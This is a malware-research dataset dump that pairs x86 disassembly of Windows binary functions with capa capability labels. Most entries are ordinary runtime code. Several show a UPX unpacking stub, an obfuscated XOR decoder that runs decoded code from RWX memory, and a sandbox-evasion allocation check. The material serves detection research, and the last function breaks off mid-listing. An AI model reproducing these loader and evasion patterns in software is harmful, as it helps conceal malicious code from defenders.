joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44c3a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x46000]
push edi
jmp 0x44c3ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x44c3c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44c3b0
mov eax, 1
add ebx, ebx
jne 0x44c3d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x44c3c8
jne 0x44c3e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44c3c8
xor ecx, ecx
sub eax, 3
jb 0x44c3f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44c46a
mov ebp, eax
add ebx, ebx
jne 0x44c403
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x44c410
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x44c434
inc ecx
add ebx, ebx
jne 0x44c420
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x44c415
jne 0x44c431
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44c415
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x44c454
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x44c445
jmp 0x44c3b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x44c454
add edi, ecx
jmp 0x44c3b6
pop esi
mov edi, esi
mov ecx, 0x2ef
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x44c472
cmp byte [edi], 0xc
jne 0x44c472
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x44c477
lea edi, [esi + 0x4a000]
mov eax, dword [edi]
or eax, eax
je 0x44c4ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x523d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x524a4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x44c4a4
mov ecx, edi
jns 0x44c4d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x524ac]
or eax, eax
je 0x44c4e9
mov dword [ebx], eax
add ebx, 4
jmp 0x44c4c1
call dword [esi + 0x524a8]
mov ebp, dword [esi + 0x524b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x44c523
sub esp, 0xffffff80
jmp 0x403dd3
Function at 0x7003197
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x70031a6
pop dword [ebp - 0x14]
mov eax, 0x70031a6
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xc855d06e
sub dword [ebp - 0x24], 0x7a038b23
mov dword [ebp - 0x20], 0xa0546034
sub dword [ebp - 0x20], 0x6e2113ef
mov dword [ebp - 0x1c], 0xe8671f36
sub dword [ebp - 0x1c], 0x9c1adb08
mov dword [ebp - 0x18], 0xeb49f7d6
sub dword [ebp - 0x18], 0xeb49f7d6
lea eax, [ebp - 0x24]
push eax
mov eax, 0xac1f84be
add eax, 0x5ae1ab72
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x474e68e5
add dword [ebp - 0x24], 0x2d240071
mov dword [ebp - 0x20], 0x7ea4707c
add dword [ebp - 0x20], 0xc2c7f0f9
mov dword [ebp - 0x1c], 0xa779331e
add dword [ebp - 0x1c], 0xbbf6394e
mov dword [ebp - 0x18], 0xd7c180a
sub dword [ebp - 0x18], 0xd7c180a
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x8e4868a3
add eax, 0x78b8c791
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3d497
push 0
call eax
mov ecx, 0x39a7db63
sub ecx, 0x39a788ac
mov ebx, eax
mov edx, 0xb134f397
sub edx, 0xaa32f197
add edx, dword [ebp - 0x14]
mov edi, 0x9458bf3c
add edi, 0xf25e2965
xor dword [ebp - 4], 0xd5145224
mov esi, dword [edx]
sub dword [ebp - 8], edi
xor esi, edi
add dword [ebp - 8], ecx
mov dword [ebx], esi
xor dword [ebp - 0x10], eax
add ebx, 0x7f48e972
sub ebx, 0x7f48e96e
add edx, 4
loop 0x70032c3
add eax, 0x13daf
mov ebx, eax
add eax, 0x18e5c51f
sub eax, 0x18e5c51a
mov ecx, 0xf4d0404a
add ecx, 0x122fbfb6
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003197
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003197
int3
Function at 0x10001180
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 0x40
push 0x3000
push 0x3e8
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
jne 0x100011ae
mov dword [ebp - 4], 1
jmp 0x100011b5
mov dword [ebp - 4], 0
movzx eax, byte [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x100011c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
push 0x40
push 0x1000
push 0x291
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10001211
push 0x291
push 0
mov eax, dword [ebp - 4]
push eax
call fcn.10003850
add esp, 0xc
push 0x291
push section..data
mov ecx, dword [ebp - 4]
push ecx
call fcn.100032d0
add esp, 0xc
jmp 0x10001213
jmp 0x10001249
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], str.iyVnJvsoeuHxg71Z
push str.fynHM56P0xZBzv4Nh2woGRyUYf34ecD6
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.100010d0
add esp, 0xc
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 8]
push edx
call fcn.10001140
mov esp, ebp
pop ebp
ret
Function at 0x10001990
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
jmp 0x100019a6
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x10001a57
mov ecx, 4
imul edx, ecx, 0
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
movzx ecx, byte [edx + eax]
mov edx, 4
imul eax, edx, 0
add eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov cl, byte [ecx + str.cw]
mov byte [eax + edx], cl
mov edx, 4
shl edx, 0
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
movzx ecx, byte [edx + eax]
mov edx, 4
shl edx, 0
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov cl, byte [ecx + str.cw]
mov byte [edx + eax], cl
mov edx, 4
shl edx, 1
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
movzx ecx, byte [edx + eax]
mov edx, 4
shl edx, 1
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov cl, byte [ecx + str.cw]
mov byte [edx + eax], cl
mov edx, 4
imul eax, edx, 3
add eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
movzx edx, byte [eax + ecx]
mov eax, 4
imul ecx, eax, 3
add ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov dl, byte [edx + str.cw]
mov byte [ecx + eax], dl
jmp 0x1000199d
mov esp, ebp
pop ebp
ret

Function at 0x10002020
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
jmp 0x10002036
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x100020e7
mov ecx, 4
imul edx, ecx, 0
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
movzx ecx, byte [edx + eax]
mov edx, 4
imul eax, edx, 0
add eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov cl, byte [ecx + 0x1000f2a0]
mov byte [eax + edx], cl
mov edx, 4
shl edx, 0
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
movzx ecx, byte [edx + eax]
mov edx, 4
shl edx, 0
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov cl, byte [ecx + 0x1000f2a0]
mov byte [edx + eax], cl
mov edx, 4
shl edx, 1
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
movzx ecx, byte [edx + eax]
mov edx, 4
shl edx, 1
add edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov cl, byte [ecx + 0x1000f2a0]
mov byte [edx + eax], cl
mov edx, 4
imul eax, edx, 3
add eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
movzx edx, byte [eax + ecx]
mov eax, 4
imul ecx, eax, 3
add ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov dl, byte [edx + 0x1000f2a0]
mov byte [ecx + eax], dl
jmp 0x1000202d
mov esp, ebp
pop ebp
ret

Function at 0x10005ada
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10005b19
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10005b19
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10005b19
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10005b19
cmp dword [ecx + 0x74], 0xe
jbe 0x10005b19
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100087c2
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000885f
push ebx
push esi
call fcn.1000878b
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000871f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000880c
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000885e
push edi
push eax
call fcn.10006802
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000882c
call fcn.10006850
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000885d
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000871f
add esp, 0x20
test eax, eax
jne 0x1000884b
push edi
call fcn.10006850
jmp 0x10008853
push ebx
call fcn.10006850
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10008acc
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10010b98
push 0x10010b90
push str.FlsAlloc
push 0x1f
call fcn.100089e8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10008b00
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000f114]
call esi
jmp 0x10008b06
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10008b4a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10010ba8
push 0x10010ba0
push str.FlsGetValue
push 0x21
call fcn.100089e8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10008b81
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000f114]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10008b89
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10010bb0
push 0x10010ba8
push str.FlsSetValue
push 0x22
call fcn.100089e8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10008bc3
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1000f114]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x401010
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0x30
call fcn.0040a961
push esi
push edi
push eax
push edx
mov edi, ebx
mov esi, ecx
test ecx, ecx
jne 0x401035
mov esi, 0x41582c
mov dword [ebp + 8], 0x104
cmp dword [0x415518], 0
je 0x40108d
push 0x41520c
mov ecx, dword [ebp + 8]
push ecx
push esi
push 0
mov ebx, dword [ebp - 0x10]
push ebx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
test eax, eax
jne 0x4010f7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
test eax, eax
je 0x40108d
cmp eax, 2
jb 0x401076
cmp eax, 3
jbe 0x40108d
push edx
mov ecx, dword [ebp - 0x10]
push ecx
push 0x4130e3
call fcn.0040a9d4
add esp, 0xc
jmp 0x4010f5
cmp dword [0x415208], 0
je 0x4010d5
push 0x415520
mov ecx, dword [ebp + 8]
push ecx
push esi
push edi
mov ebx, dword [ebp - 0x10]
push ebx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
test eax, eax
jne 0x4010f7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
test eax, eax
je 0x4010d5
cmp eax, 2
jb 0x4010c9
cmp eax, 3
jbe 0x4010d5
push edx
mov edx, dword [ebp - 0x10]
push edx
push 0x413124
jmp 0x401080
test edi, edi
je 0x4010f5
cmp byte [edi], 0
je 0x4010f5
mov ebx, dword [ebp + 8]
dec ebx
mov edx, edi
mov eax, esi
call fcn.0040aa30
mov eax, dword [ebp + 8]
mov byte [esi + eax - 1], 0
jmp 0x4010f7
xor esi, esi
mov eax, esi
lea esp, [ebp - 8]
pop edi
pop esi
pop ebp
ret 4
Function at 0x401194
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0x5c0
call fcn.0040a961
push ebx
push ecx
push esi
push edi
sub esp, 0x598
mov edi, eax
mov dword [ebp - 0x14], edx
test eax, eax
je 0x4019d8
cmp edx, 6
jl 0x40130a
mov al, byte [eax]
cmp al, 0x5c
jne 0x40130a
cmp al, byte [edi + 1]
jne 0x40130a
lea esi, [edi + 2]
mov dl, byte [esi]
test dl, dl
je 0x4011e5
cmp dl, 0x5c
je 0x4011e5
inc esi
jmp 0x4011d7
cmp byte [esi], 0
je 0x40130a
inc esi
mov bh, byte [esi]
test bh, bh
je 0x4011fa
cmp bh, 0x5c
jne 0x4011ee
cmp byte [esi], 0
je 0x40130a
mov ebx, 0x103
xor edx, edx
lea eax, [ebp - 0x28c]
call fcn.0040aa70
mov ebx, 0x103
xor edx, edx
lea eax, [ebp - 0x188]
call fcn.0040aa70
mov ebx, esi
sub ebx, edi
mov edx, edi
lea eax, [ebp - 0x28c]
call fcn.0040aa30
lea edx, [esi + 1]
mov ebx, 0x103
lea eax, [ebp - 0x188]
call fcn.0040aa30
mov ebx, 0x69
xor edx, edx
lea eax, [ebp - 0x84]
call fcn.0040aa70
lea eax, [ebp - 0x84]
push eax
push 0x69
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
test eax, eax
je 0x4019d8
lea esi, [ebp - 0x84]
cmp byte [esi], 0
je 0x40130a
push esi
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 4
jne 0x4012f7
mov dword [ebp - 0x18], 0x31b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5a8]
push eax
push 2
push esi
call sub.MPR.DLL_WNetGetUniversalNameA
test eax, eax
jne 0x4012f7
lea eax, [ebp - 0x28c]
push eax
mov ecx, dword [ebp - 0x5a4]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x4012f7
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, edi
call fcn.0040aa30
mov eax, esi
call fcn.0040aa90
mov ebx, dword [ebp - 0x14]
sub ebx, eax
mov dword [ebp - 0x14], ebx
lea edx, [ebp - 0x188]
mov eax, edi
call fcn.0040aab0
mov eax, 1
jmp 0x4019d8
lea eax, [esi + 1]
cmp byte [esi], 0
je 0x401303
mov esi, eax
jmp 0x4012f7
mov esi, eax
jmp 0x40127a
xor eax, eax
jmp 0x4019d8
Function at 0x40186e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xb4
call fcn.0040a961
push ebx
push ecx
push esi
push edi
sub esp, 0x74
mov edi, eax
mov esi, edx
mov ebx, 0x44
xor edx, edx
lea eax, [ebp - 0x84]
call fcn.0040aa70
mov ebx, 0x10
xor edx, edx
lea eax, [ebp - 0x24]
call fcn.0040aa70
mov dword [ebp - 0x84], 0x44
xor edx, edx
mov dword [ebp - 0x80], edx
xor ecx, ecx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], edx
xor eax, eax
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], edx
xor eax, edx
mov word [ebp - 0x54], ax
xor edx, edx
mov word [ebp - 0x52], dx
xor eax, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
cmp dword [0x414300], 0
je 0x40190e
push 0x41327a
call fcn.0040a9d4
add esp, 4
call dword [sym.imp.KERNEL32.DLL_FreeConsole]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x84]
push eax
push esi
push 0
push 0x20
push 1
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x401941
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, 0xffffffff
jmp 0x4019d8
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [0x4142f8]
test ecx, ecx
je 0x401960
push ecx
mov esi, dword [ebp - 0x24]
push esi
call dword [sym.imp.USER32.DLL_WaitForInputIdle]
cmp dword [0x4142fc], 0
jne 0x40196d
xor eax, eax
jmp 0x4019d8
push 0xa
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x4019b8
cmp eax, 0x102
je 0x40198c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x4019b8
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.DLL_PeekMessageA]
test eax, eax
je 0x40196d
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.DLL_TranslateMessage]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.DLL_DispatchMessageA]
jmp 0x40198c
xor edx, edx
mov dword [ebp - 0x14], edx
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
mov ebx, dword [ebp - 0x24]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
Function at 0x402d15
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0x74
call fcn.0040a961
push ebx
push ecx
push edx
push esi
push edi
sub esp, 0x40
mov esi, eax
mov ebx, 0x413915
mov dword [ebp - 0x18], 0x400
lea eax, [ebp - 0x18]
push eax
push 0x415930
push 0x413910
push ebx
push 1
push 0
call dword [sym.imp.SHLWAPI.DLL_AssocQueryStringA]
mov edx, eax
test eax, eax
je 0x402d7e
mov ebx, 0x41391a
mov dword [ebp - 0x18], 0x400
lea eax, [ebp - 0x18]
push eax
push 0x415930
push 0x413910
push ebx
push 1
push 0
call dword [sym.imp.SHLWAPI.DLL_AssocQueryStringA]
mov edx, eax
test edx, edx
jne 0x402d95
push ebx
push 0x415930
push 0x41391f
call fcn.0040a9d4
add esp, 0xc
mov ebx, 0x3c
xor edx, edx
lea eax, [ebp - 0x54]
call fcn.0040aa70
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x340
xor edi, edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], 0x41394c
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.SHELL32.DLL_ShellExecuteExA]
test eax, eax
jne 0x402e0c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0x413951
call fcn.0040a9d4
add esp, 8
mov eax, 0xffffffff
jmp 0x402e31
cmp dword [ebp - 0x1c], 0
je 0x402e2f
push 0xa
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x402e2f
cmp eax, 0x102
je 0x402e12
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
lea esp, [ebp - 0x14]
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret
Function at 0x40cdac
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0x54
call fcn.0040a961
push ebx
push ecx
push edx
push esi
sub esp, 0x24
cmp dword [0x4143bc], 0
jne 0x40cf7b
mov ebx, 0x100
xor edx, edx
mov eax, 0x416204
call fcn.0040aa70
mov ebx, 0x200
xor edx, edx
mov eax, 0x416304
call fcn.0040aa70
xor edx, edx
mov dword [0x4143c0], edx
mov ebx, 0x24
lea eax, [ebp - 0x34]
call fcn.0040aa70
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov ebx, 0x416204
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40ce3d
push ecx
push 0x414194
push ebx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add ebx, eax
mov eax, dword [ebp - 0x20]
mov dword [0x4143c0], eax
jmp 0x40ce47
mov dword [0x4143c0], 1
mov eax, dword [ebp - 0x34]
cmp ax, 5
jb 0x40ce91
jbe 0x40cedd
cmp ax, 8
jb 0x40ce85
jbe 0x40cef2
cmp ax, 0xffff
je 0x40cf07
cmp ax, 0xa
je 0x40cf00
cmp ax, 9
je 0x40cef9
jmp 0x40cf0e
cmp ax, 7
je 0x40ceeb
jmp 0x40cee4
cmp ax, 2
jb 0x40cea1
jbe 0x40cec8
cmp ax, 4
je 0x40ced6
jmp 0x40cecf
cmp ax, 1
je 0x40cec1
test ax, ax
jne 0x40cf0e
push 0x41419b
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x40cf24
push 0x41419f
jmp 0x40ceb5
push 0x4141a4
jmp 0x40ceb5
push 0x4141aa
jmp 0x40ceb5
push 0x4141b2
jmp 0x40ceb5
push 0x4141b6
jmp 0x40ceb5
push 0x4141ba
jmp 0x40ceb5
push 0x4141c2
jmp 0x40ceb5
push 0x4141ca
jmp 0x40ceb5
push 0x4141d3
jmp 0x40ceb5
push 0x4141e3
jmp 0x40ceb5
push 0x4141e9
jmp 0x40ceb5
xor eax, eax
mov ax, word [ebp - 0x34]
push eax
push 0x4141f7
push ebx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add ebx, eax
xor eax, eax
mov ax, word [ebp - 0x12]
push eax
xor eax, eax
mov ax, word [ebp - 0x14]
push eax
push 0x414200
push ebx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
push 0x100
push 0x416304
push 0x100
push 0x416204
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
xor esi, esi
mov word [0x416502], si
mov dword [0x4143bc], 1
lea esp, [ebp - 0x10]
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret
Function at 0x40cff8
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
push 0x88
call fcn.0040a961
push ebx
push ecx
push edx
push esi
sub esp, 0x60
mov ebx, 0x100
xor edx, edx
mov eax, 0x416504
call fcn.0040aa70
xor eax, eax
mov dword [0x4143c4], eax
mov ebx, 0x40
xor edx, edx
lea eax, [ebp - 0x70]
call fcn.0040aa70
mov dword [ebp - 0x70], 0x40
cmp dword [0x4143cc], 0
je 0x40d077
cmp dword [0x4143c8], 0
jne 0x40d077
push 0x41421c
push 0x414231
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4143c8], eax
test eax, eax
setne al
and eax, 0xff
mov dword [0x4143cc], eax
mov esi, dword [0x4143cc]
test esi, esi
je 0x40d08d
lea eax, [ebp - 0x70]
push eax
call dword [0x4143c8]
jmp 0x40d0ef
mov ebx, 0x20
xor edx, edx
lea eax, [ebp - 0x30]
call fcn.0040aa70
mov dword [ebp - 0x30], 0x20
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x64], esi
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x5c], esi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x54], esi
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x44], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
mov ebx, 0x100000
xor ecx, ecx
call fcn.0040e6a1
push eax
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov ebx, 0x100000
xor ecx, ecx
call fcn.0040e6a1
push eax
push 0x41423e
push 0x416504
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov ebx, 0x100000
xor ecx, ecx
call fcn.0040e6a1
mov dword [0x4143c4], eax
lea esp, [ebp - 0x10]
pop esi
pop edx
pop ecx
pop ebx
pop ebp
ret

Function at 0x40d1e0
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ecx
push esi
push edi
sub esp, 8
mov esi, eax
